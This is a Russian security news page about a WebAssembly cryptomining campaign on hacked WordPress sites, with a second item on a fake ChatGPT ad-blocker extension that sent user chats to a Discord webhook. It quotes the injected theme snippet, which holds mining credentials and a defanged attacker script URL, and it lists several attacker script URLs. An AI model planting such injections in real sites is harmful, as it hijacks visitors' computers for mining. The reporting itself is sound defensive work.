Криптоджекеры начали прятать свой код на сайтах с помощью WebAssembly

Криптоджекеры начали прятать свой код на сайтах с помощью WebAssembly

Криптоджекеры начали прятать свой код на сайтах с помощью WebAssembly

Эксперты Sucuri обнаружили необычный JavaScript-майнер, загружаемый на страницы при посещении взломанного сайта. Злоумышленники используют технологию WebAssembly, чтобы ускорить исполнение сценария и осложнить выявление вредоносных инъекций.

Бинарный формат WebAssembly (.wasm), позволяющий выполнять высокопроизводительные приложения на веб-страницах со скоростью, близкой к нативной, в настоящее время поддерживают более 95% установленных браузеров, в том числе Google Chrome, Microsoft Edge, Safari, Firefox и Opera. Код Wasm загружается и запускается из JavaScript и может работать в параллель в той же песочнице, обмениваясь данными с кодом JavaScript.

В Sucuri узнали о нововведении криптоджекеров, когда новый клиент запросил помощи— его компьютер начал сильно тормозить при подключении к персональному сайту WordPress. Беглый просмотр файлов на сайте выявил небольшой фрагмент кода, вставленный в один из файлов темы:

localStorage.setItem('f', 'auto.config({ login: "6110659", pass: "auto" }).power(10);');localStorage.setItem('s', 'hxxps://wm[.]bmwebm[.]org/auto.js');

Каждый раз, когда посетитель заходит на веб-страницу, этот сниппет загружает на стороне клиента скрипт auto.js из домена wm[.]bmwebm[.]org. Содержимое JavaScript-файла оказалось обфусцированным с помощью CharCode; декодирование показало, что это криптомайнер, стартующий при каждом визите на сайт.

Вшитые учетные данные, по всей видимости, используются для доступа к кастомному пулу в том же домене. Особый интерес у исследователей вызвала такая находка, как использование WebAssembly для запуска бинарного кода в среде браузера.

 

Расшифрованный auto.js также содержал инструкции для операций майнинга, которые исполняются в браузере вместе с JavaScript.

Позднее тот же самый криптомайнер был обнаружен на другом взломанном сайте, но уже под именем adservicegoogle.js. Он загружался из того же домена и пытался выдать себя за легитимный скрипт Google Ads.

Домен hxxps://wm[.]bmwebm[.]org/ был зарегистрирован в январе 2021 года, то есть полтора года криптоджекерам удавалось остаться незамеченными. В настоящее время (на 26 июля) их майнер работает на 195 сайтах, в том числе в TLD-зоне RU; по всей видимости, скромный масштаб киберкампании тоже помог злоумышленникам оставаться в тени.

Примечательно, что отдаваемые вредоносные JavaScript-файлы генерируются автоматически — злоумышленники просто меняют имя, добавляемое к домену:

  • hxxps://wm[.]bmwebm[.]org/wordpresscore.js
  • hxxps://wm[.]bmwebm[.]org/common.js
  • hxxps://wm[.]bmwebm[.]org/facebook-sdk.js
  • hxxps://wm[.]bmwebm[.]org/twitter.js
  • hxxps://wm[.]bmwebm[.]org/node.js

Реализованная функциональность также позволяет внедрять скрипты в разные места на зараженном сайте и поддерживать видимость легитимности инъекций.

Эксперты ожидают расширения использования WebAssembly киберкриминалом, несмотря на очевидное ограничение — зависимость от JavaScript. Код Wasm не способен самостоятельно собирать данные, подключаться к интернету и сливать награбленное на сторону. В составе веб-скимера, например, такой компонент может диктовать JavaScript, на каких веб-формах сосредоточиться, какой домен использовать для вывода данных и т. п. 

Использование Wasm, по словам Sucuri, способно затруднить выявление злонамеренных редиректоров, вредоносной рекламы, ложной техподдержки, скриптовых кейлоггеров, скрытых загрузок (drive-by) и других неблаговидных способов использования браузера. В тех случаях, когда браузер содержит уязвимость 0-day, оперирующий Wasm злоумышленник может причинить еще больше вреда — путем использования бинарного кода для эксплойта, и такую функциональность вряд ли обнаружит антивирусный сканер, заточенный под строковый анализ.

На сайтах подобные заражения тоже трудно выявить, если не с чем сравнить (нет бэкапа). Там, где Wasm уже используется в повседневных операциях, задача еще больше усложняется. Предотвратить инфицирование, по мнению экспертов, помогут следующие меры:

  • поддержка всего софта (CMS, плагинов, тем) в актуальном состоянии;
  • усиление защиты сайта и админ-панелей от брутфорса и словарных атак;
  • создание бэкапа и регулярное копирование контента и базы данных, с сохранением резервных копий вне сайта;
  • регулярные проверки целостности содержимого файлов на сайте;
  • использование средств фильтрации трафика прикладного уровня (WAF).

Фальшивый блокировщик рекламы для ChatGPT оказался аддоном-шпионом

OpenAI недавно начала тестировать рекламу в ChatGPT для части пользователей бесплатного тарифа, и уже появились желающие быстро заработать на новой теме. Исследователи из DomainTools обнаружили в Chrome Web Store вредоносное расширение ChatGPT Ad Blocker, которое обещало убрать рекламу из чат-бота, а на деле воровало пользовательские переписки.

OpenAI действительно в последние месяцы начала тесты рекламы в ChatGPT для части пользователей Free и Go, поэтому приманка выглядела вполне правдоподобно.

По данным DomainTools, расширение позиционировалось как «бесплатный и лёгкий» способ «убрать рекламу и оставить ИИ», но его основная задача была совсем другой.

После установки оно внедряло скрипт в страницу ChatGPT, копировало содержимое активного окна чата, сохраняло структуру переписки и большую часть текста, а затем отправляло этот дамп через жёстко прописанный Discord-вебхук в закрытый канал. Исследователи отдельно пишут, что таким образом утекали не только запросы пользователя, но и метаданные, и состояние интерфейса.

 

Аддон клонировал HTML страницы ChatGPT, убирал часть визуальных элементов вроде стилей и картинок, но оставлял текст и логику диалога. При этом редактировались только очень длинные текстовые фрагменты, а обычные промпты и ответы в большинстве случаев сохранялись целиком. DomainTools также указывает, что похищенные данные принимал Discord-бот с говорящим именем Captain Hook.

Отдельно исследователи связывают расширение с GitHub-аккаунтом krittinkalra, который, по их данным, пересекается с проектами AI4ChatCo и Writecream. На этом фоне авторы отчёта задаются вопросом: не используются ли похожие механики сбора данных и в других продуктах, связанных с этой же персоной. Прямых доказательств этого в отчёте нет, но сам сигнал имеется.

RSS: Новости на портале Anti-Malware.ru